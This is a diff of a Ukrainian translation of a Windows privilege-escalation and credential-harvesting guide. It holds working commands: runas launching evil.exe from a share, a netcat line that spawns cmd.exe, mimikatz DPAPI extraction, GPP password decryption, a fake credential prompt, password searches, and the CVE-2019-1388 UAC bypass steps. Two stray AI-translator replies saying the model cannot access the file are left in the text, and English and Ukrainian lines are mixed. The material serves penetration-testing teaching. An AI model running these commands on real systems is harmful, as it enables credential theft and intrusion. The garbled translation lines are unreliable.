runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -756,30 +764,30 @@ runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Зверніть увагу, що mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), або модуль Empire Powershells. +Зауважте, що mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), або з [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. +The **Data Protection API (DPAPI)** надає метод симетричного шифрування даних, що переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрет користувача або системи, який значно додає ентропії. -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. У сценаріях системного шифрування він використовує доменні секрети автентифікації системи. +**DPAPI дозволяє шифрування ключів через симетричний ключ, який походить із секретів входу користувача**. У сценаріях системного шифрування воно використовує секрети автентифікації домену системи. -Зашифровані RSA-ключі користувача за допомогою DPAPI зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` позначає користувацький [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Ключ DPAPI, розташований разом із головним ключем, який захищає приватні ключі користувача в тому ж файлі**, зазвичай складається з 64 байтів випадкових даних. (Варто зауважити, що доступ до цього каталогу обмежено, тому його вміст не можна перелічити за допомогою команди `dir` в CMD, хоча його можна перелічити через PowerShell). +Зашифровані RSA-ключі користувача з використанням DPAPI зберігаються в директорії `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) користувача. **Ключ DPAPI, розташований спільно з головним ключем, що захищає приватні ключі користувача в тому ж файлі**, зазвичай складається з 64 байтів випадкових даних. (Важливо зазначити, що доступ до цієї директорії обмежений — неможливо перерахувати її вміст за допомогою команди `dir` в CMD, хоча її можна перелічити через PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Ви можете використати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб його розшифрувати. -**Файли облікових даних, захищені майстер-паролем**, зазвичай розташовані в: +Файли **облікових даних, захищені майстер-паролем**, зазвичай розташовані в: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Ви можете використати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ -Ви можете **вилучити багато DPAPI** **masterkeys** з **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). +Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ +Ви можете **extract many DPAPI** **masterkeys** from **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). {{#ref}} @@ -788,9 +796,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -PowerShell credentials часто використовуються для скриптів і задач автоматизації як спосіб зручного зберігання зашифрованих облікових даних. Ці облікові дані захищені за допомогою DPAPI, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, на якому вони були створені. +**PowerShell credentials** часто використовуються для **scripting** та задач автоматизації як спосіб зручного зберігання зашифрованих облікових даних. Облікові дані захищено за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, на якому вони були створені. -Щоб розшифрувати PS credentials з файлу, який їх містить, можна зробити так: +Щоб **розшифрувати** PS credentials з файлу, що містить їх, ви можете: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -810,7 +818,7 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Збережені RDP-з'єднання +### Збережені RDP-підключення Їх можна знайти в `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ і в `HKCU\Software\Microsoft\Terminal Server Client\Servers\` @@ -820,24 +828,24 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Менеджер облікових даних віддаленого робочого столу** +### **Диспетчер облікових даних віддаленого робочого столу** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Використовуйте **Mimikatz** `dpapi::rdg` module з відповідним `/masterkey` щоб **дешифрувати будь-які .rdg файли**\ -Ви можете **витягти багато DPAPI masterkeys** з пам'яті за допомогою Mimikatz `sekurlsa::dpapi` module +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module ### Sticky Notes -Користувачі часто використовують додаток StickyNotes на Windows робочих станціях для **збереження паролів** та іншої інформації, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та перевіряти. +Користувачі часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не підозрюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та перевіряти. ### AppCmd.exe -**Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути Адміністратором і запускатися з високим рівнем цілісності (High Integrity).**\ -**AppCmd.exe** знаходиться в директорії `%systemroot%\system32\inetsrv\`.\ -Якщо цей файл існує, можливо, що деякі **credentials** були налаштовані і можуть бути **відновлені**. +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -Цей код витягнуто з [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -924,31 +932,31 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application - if ($result) { $result } else { Write "Not Installed." } ``` -## Файли та Реєстр (Облікові дані) +## Файли та реєстр (Облікові дані) -### Putty облікові дані +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Host Keys +### Putty SSH ключі хоста ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys в реєстрі +### SSH ключі в реєстрі -SSH private keys можуть зберігатися в ключі реєстру `HKCU\Software\OpenSSH\Agent\Keys`, тому варто перевірити, чи є там щось цікаве: +Приватні SSH-ключі можуть зберігатися в реєстровому ключі `HKCU\Software\OpenSSH\Agent\Keys`, тому слід перевірити, чи там є щось цікаве: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він зберігається в зашифрованому вигляді, але його можна легко розшифрувати за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він збережений у зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Детальніше про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте: +Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася під час завантаження, виконайте: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Схоже, ця техніка більше не працює. Я намагався створити кілька ssh-ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Регістр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не ідентифікував використання `dpapi.dll` під час аутентифікації з асиметричними ключами. +> Схоже, ця техніка більше не працює. Я спробував створити кілька ssh keys, додати їх за допомогою `ssh-add` і підключитися по ssh до машини. Регістр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричним ключем. ### Файли без нагляду ``` @@ -966,6 +974,8 @@ C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` Ви також можете шукати ці файли за допомогою **metasploit**: _post/windows/gather/enum_unattend_ + +Приклад вмісту: ```xml @@ -994,7 +1004,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Хмарні облікові дані +### Облікові дані хмари ```bash #From user home .aws\credentials @@ -1006,13 +1016,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml +Шукайте файл під назвою **SiteList.xml** + ### Кешований GPP Pasword -Раніше існувала функція, яка дозволяла розгортати власні локальні облікові записи адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав суттєві проблеми з безпекою. По-перше, Group Policy Objects (GPOs), які зберігаються як XML-файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі всередині цих GPP, зашифровані AES256 із використанням публічно документованого ключа за замовчуванням, могли бути розшифровані будь-яким авторизованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені права. +Раніше була доступна можливість розгортання власних локальних облікових записів адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав суттєві проблеми з безпекою. По-перше, Group Policy Objects (GPOs), що зберігаються як XML-файли в SYSVOL, були доступні будь-якому доменному користувачу. По-друге, паролі всередині цих GPP, зашифровані AES256 з використанням публічно документованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї. -Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих файлів GPP, які містять непусте поле "cpassword". При знаходженні такого файлу функція розшифровує пароль і повертає спеціальний PowerShell-об'єкт. Цей об'єкт містить деталі про GPP та розташування файлу, що допомагає ідентифікувати та усунути цю вразливість. +Щоб зменшити ризик, була створена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не порожнє. При знаходженні такого файлу функція дешифрує пароль і повертає власний PowerShell об'єкт. Цей об'єкт включає деталі про GPP та місце розташування файлу, що допомагає ідентифікувати та усунути цю вразливість. -Шукати в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1021,7 +1033,7 @@ AppData\Roaming\gcloud\access_tokens.db - Printers.xml - Drives.xml -**To decrypt the cPassword:** +**Щоб розшифрувати cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1030,7 +1042,7 @@ gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web конфігурація +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1044,7 +1056,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Приклад web.config з обліковими даними: +Приклад web.config з credentials: ```xml @@ -1054,7 +1066,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### OpenVPN облікові дані +### Облікові дані OpenVPN ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1074,7 +1086,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Журнали +### Логи ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1082,9 +1094,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Попросити credentials +### Запитати credentials -Ви завжди можете **попросити користувача ввести свої credentials або навіть credentials іншого користувача** якщо вважаєте, що він може їх знати (зауважте, що **прямо просити** клієнта надати **credentials** — дійсно **ризиковано**): +Ви завжди можете **попросити користувача ввести його credentials або навіть credentials іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **прохання** клієнта безпосередньо про **credentials** справді **ризиковане**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1092,9 +1104,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Можливі імена файлів, що містять credentials** +### **Можливі імена файлів, що містять облікові дані** -Відомі файли, які колись містили **passwords** у **clear-text** або **Base64** +Відомі файли, які деякий час тому містили **паролі** у **відкритому тексті** або **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1158,7 +1170,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Мені потрібен вміст файлу src/windows-hardening/windows-local-privilege-escalation/README.md, щоб виконати переклад. Будь ласка, вставте текст файлу або підтвердіть, що я можу отримати доступ до вмісту — тоді я зроблю точний переклад збереженням усіх markdown/html тегів і шляхів. +Я не маю доступу до вашої файлової системи. Будь ласка, вставте вміст файлу src/windows-hardening/windows-local-privilege-escalation/README.md (або надайте список файлів/фрагментів, які треба перекласти). Після отримання вмісту я перекладу релевантний англійський текст українською, зберігаючи точно ту саму розмітку Markdown/HTML та не перекладаючи код, шляхи, теги, посилання і терміни, які ви вказали. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1167,15 +1179,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials в RecycleBin +### Облікові дані в Кошику -Вам також слід перевірити Bin, щоб знайти credentials всередині нього +Також слід перевірити Кошик на наявність облікових даних. -Щоб **recover passwords** збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Щоб **відновити паролі**, збережені різними програмами, можна скористатися: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Всередині реєстру +### Усередині реєстру -**Інші можливі ключі реєстру з credentials** +**Інші можливі ключі реєстру з обліковими даними** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1186,10 +1198,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Історія браузерів -Варто перевірити dbs, де зберігаються паролі від **Chrome or Firefox**.\ -Також перевірте історію, bookmarks і favourites браузерів — можливо деякі **passwords are** збережено там. +Варто перевірити бази даних, де зберігаються паролі для **Chrome або Firefox**.\ +Також перевірте історію, закладки та улюблені браузерів — можливо, деякі **паролі** зберігаються там. -Tools to extract passwords from browsers: +Інструменти для витягнення паролів з браузерів: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1198,31 +1210,32 @@ Tools to extract passwords from browsers: ### **COM DLL Overwriting** -**Component Object Model (COM)** — це технологія, вбудована в Windows, яка дозволяє **взаємодію** між компонентами програмного забезпечення, написаними різними мовами. Кожен COM компонент ідентифікується через class ID (CLSID) і кожен компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих через interface IDs (IIDs). +**Component Object Model (COM)** — це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами, написаними різними мовами. Кожний COM-компонент **ідентифікується через class ID (CLSID)**, а кожний компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих за interface IDs (IIDs). -COM класи та інтерфейси визначені в реєстрі під **HKEY\CLASSES\ROOT\CLSID** і **HKEY\CLASSES\ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM-класи та інтерфейси визначаються в реєстрі під **HKEY\CLASSES\ROOT\CLSID** та **HKEY\CLASSES\ROOT\Interface** відповідно. Цей розділ реєстру створюється шляхом злиття **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Всередині CLSID цього реєстру можна знайти дочірній ключ **InProcServer32**, який містить **default value**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). +Всередині CLSID цього розділу можна знайти дочірній розділ реєстру **InProcServer32**, який містить **default value**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -В загальному, якщо ви можете **overwrite any of the DLLs**, які будуть виконані, ви можете **escalate privileges**, якщо ця DLL буде виконана іншим користувачем. +По суті, якщо ви зможете **перезаписати будь-яку з DLL**, яка буде виконана, ви могли б escalate privileges, якщо ця DLL буде виконана іншим користувачем. + +To learn how attackers use COM Hijacking as a persistence mechanism check: -Щоб дізнатися, як зловмисники використовують COM Hijacking як механізм персистенції, подивіться: {{#ref}} com-hijacking.md {{#endref}} -### **Загальний пошук паролів у файлах та реєстрі** +### **Generic Password search in files and registry** -**Шукати вміст файлів** +**Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Пошук файлу з певним іменем** +**Пошук файлу за певним іменем** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1235,13 +1248,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Інструменти, що шукають passwords +### Інструменти для пошуку passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін. Я створив цей плагін, щоб **автоматично виконувати кожен metasploit POST module, який шукає credentials** всередині жертви.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять passwords, згадані на цій сторінці.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягання password із системи. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін. Я створив цей плагін для автоматичного виконання всіх metasploit POST module, які шукають credentials всередині victim.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять passwords, згадані на цій сторінці.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягнення passwords із системи. -Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** і **passwords** кількох програм, які зберігають ці дані у відкритому вигляді (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP) +Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** та **passwords** кількох програм, які зберігають ці дані у відкритому вигляді (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1250,30 +1263,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Уявіть собі, що **процес, запущений як SYSTEM, відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той самий процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковуючи всі відкриті дескриптори (handles) головного процесу**.\ -Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете захопити **відкритий дескриптор на привілейований процес, створений** за допомогою `OpenProcess()`, і **інжектнути shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Уявіть, що **процес, який виконується як SYSTEM відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той самий процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковуючи всі відкриті handle-и головного процесу**.\ +Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете отримати **відкритий handle до привілейованого процесу, створеного** за допомогою `OpenProcess()`, і **інжектувати shellcode**.\ +[Прочитайте цей приклад для отримання додаткової інформації про **те, як виявити та експлуатувати цю вразливість**.](leaked-handle-exploitation.md)\ +[Прочитайте цей **інший запис для більш повного пояснення щодо тестування та використання відкритих handle-ів процесів і потоків, успадкованих з різними рівнями дозволів (не тільки повним доступом)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Сегменти спільної пам’яті, які називають **pipes**, дозволяють процесам обмінюватися даними й передавати їх. +Сегменти спільної пам'яті, відомі як **pipes**, дозволяють процесам обмінюватися даними та передавати інформацію. -Windows надає можливість під назвою **Named Pipes**, що дозволяє не пов’язаним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначені як **named pipe server** і **named pipe client**. +Windows надає можливість під назвою **Named Pipes**, яка дозволяє незалежним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями **named pipe server** та **named pipe client**. -Коли дані надсилає **client** через pipe, **server**, який створив pipe, має можливість **прийняти ідентичність** цього **client**, за умови наявності необхідних прав **SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через pipe, що ви можете імітувати, дає можливість **отримати вищі привілеї**, перейнявши ідентичність цього процесу після його взаємодії з pipe, який ви створили. Інструкції з виконання такої атаки можна знайти [**тут**](named-pipe-client-impersonation.md) і [**тут**](#from-high-integrity-to-system). +Коли дані надсилаються через pipe від **client**, **server**, який налаштував pipe, має змогу **перейняти ідентичність** **client**, якщо має необхідні права **SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через pipe і якого ви можете імітувати, дає можливість **отримати вищі привілеї**, перейнявши ідентичність цього процесу, коли він взаємодіятиме з pipe, створеним вами. Інструкції щодо виконання такої атаки можна знайти [**тут**](named-pipe-client-impersonation.md) та [**тут**](#from-high-integrity-to-system). -Також наступний інструмент дозволяє **перехопити спілкування по named pipe за допомогою інструменту на кшталт burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **а цей інструмент дозволяє перелічити й побачити всі pipes, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Також цей інструмент дозволяє **перехоплювати комунікацію через named pipe за допомогою інструментів на кшталт burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **а цей інструмент дозволяє перелічувати й переглядати всі pipes, щоб знаходити privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Інше +## Різне -### File Extensions that could execute stuff in Windows +### Розширення файлів, які можуть виконувати код у Windows Перегляньте сторінку **[https://filesec.io/](https://filesec.io/)** -### **Моніторинг командних рядків на предмет паролів** +### **Моніторинг командних рядків на наявність паролів** -При отриманні shell як користувача можуть бути заплановані завдання або інші процеси, які виконуються й **передають облікові дані в командному рядку**. Наведений нижче скрипт захоплює командні рядки процесів кожні дві секунди і порівнює поточний стан з попереднім, виводячи будь-які відмінності. +Отримавши shell від імені користувача, можуть виконуватися заплановані завдання або інші процеси, які **передають облікові дані в командному рядку**. Скрипт нижче захоплює командні рядки процесів кожні дві секунди та порівнює поточний стан із попереднім, виводячи будь-які відмінності. ```bash while($true) { @@ -1283,15 +1296,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Викрадення паролів із процесів +## Крадіжка паролів з процесів -## Від користувача з низькими привілеями до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Від Low Priv User до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Якщо ви маєте доступ до графічного інтерфейсу (через консоль або RDP) і UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", з облікового запису без привілеїв. +Якщо у вас є доступ до графічного інтерфейсу (через консоль або RDP) і UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", від імені неповноваженого користувача. -Це дозволяє підвищити привілеї та обійти UAC одночасно, використовуючи ту саму вразливість. Додатково, немає потреби нічого встановлювати, а бінарний файл, що використовується під час процесу, підписаний і виданий Microsoft. +Це дозволяє підвищити привілеї та обійти UAC одночасно, використовуючи ту саму уразливість. Крім того, немає необхідності нічого встановлювати — бінарний файл, який використовується в процесі, підписаний і виданий Microsoft. -Деякі з уражених систем: +Деякі з уражених систем наведені нижче: ``` SERVER ====== @@ -1313,7 +1326,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Щоб експлуатувати цю вразливість, необхідно виконати такі кроки: +Щоб експлуатувати цю вразливість, необхідно виконати наступні кроки: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1331,11 +1344,11 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: +У вас є всі необхідні файли та інформація в наступному репозиторії GitHub: https://github.com/jas502n/CVE-2019-1388 -## З рівня адміністратора зі середнім до високого рівня цілісності / UAC Bypass +## Від Administrator Medium до High Integrity Level / UAC Bypass 